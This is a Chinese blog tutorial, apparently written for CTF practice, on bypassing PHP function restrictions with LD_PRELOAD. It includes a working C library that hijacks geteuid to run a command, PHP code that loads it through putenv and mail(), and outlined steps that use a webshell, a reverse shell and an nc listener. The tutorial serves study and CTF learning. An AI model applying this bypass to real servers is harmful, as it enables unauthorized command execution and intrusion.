浅谈LD_PRELOAD绕过

前置知识点:

介绍文章

程序的装入与链接-CSDN博客

LD_PRELOAD是什么?

相当于一个命令 指定一个库并优先加载

攻击手段:

植入恶意程序

常用函数:

mail()

imagick()

以上两个函数都是通过调用系统库来实现功能

示例:

创建一个php文件 写入mail函数

<?php 
mail('','','');
?>

使用strace -o 1.txt -f php 1.php

将该函数的行为动作以文本格式记录

查看调用了哪些程序

使用grep 过滤可执行程序

cat 1.txt | grep 'exec'

发现调用了本地的php,sh,sendmail三个程序

php:因为是php语言所以调用了php

sh:用来调用sendmail库

下一步来查看sendmail调用了哪些库

readelf -Ws /usr/sbin/sendmail

这时候我们可以利用ld_preload特性对其进行劫持攻击 注入恶意程序

这里选用geteuid进行LD劫持

先编写一个C程序:
 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls");  

} //恶意作用域所需代码
int geteuid(){
        unsetenv("LD_PRELOAD"); 
        payload();

}      //创建一个恶意"geteuid" 并设置为unsetenv 调用恶意自定义函数

再使用gcc -shared -fPIC demo.c -o demo.so将C转换为so共享文件

写php代码

<?php
putenv("LD_PRELOAD=./demo.so");
mail('','','');
?>

优先加载恶意类 mail函数的程序过程将加载demo.so

并且执行ls

绕过条件:

允许设置环境变量值 ,比如putenv未禁止

题目思路:

1.先上传php文件 确保连接上webshell

2.上传恶意so文件 构造反弹shell

3.恶意php文件指向恶意so文件

4.在网页访问该文件 (反弹shell)

5.nc 监听本地 开始拿flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值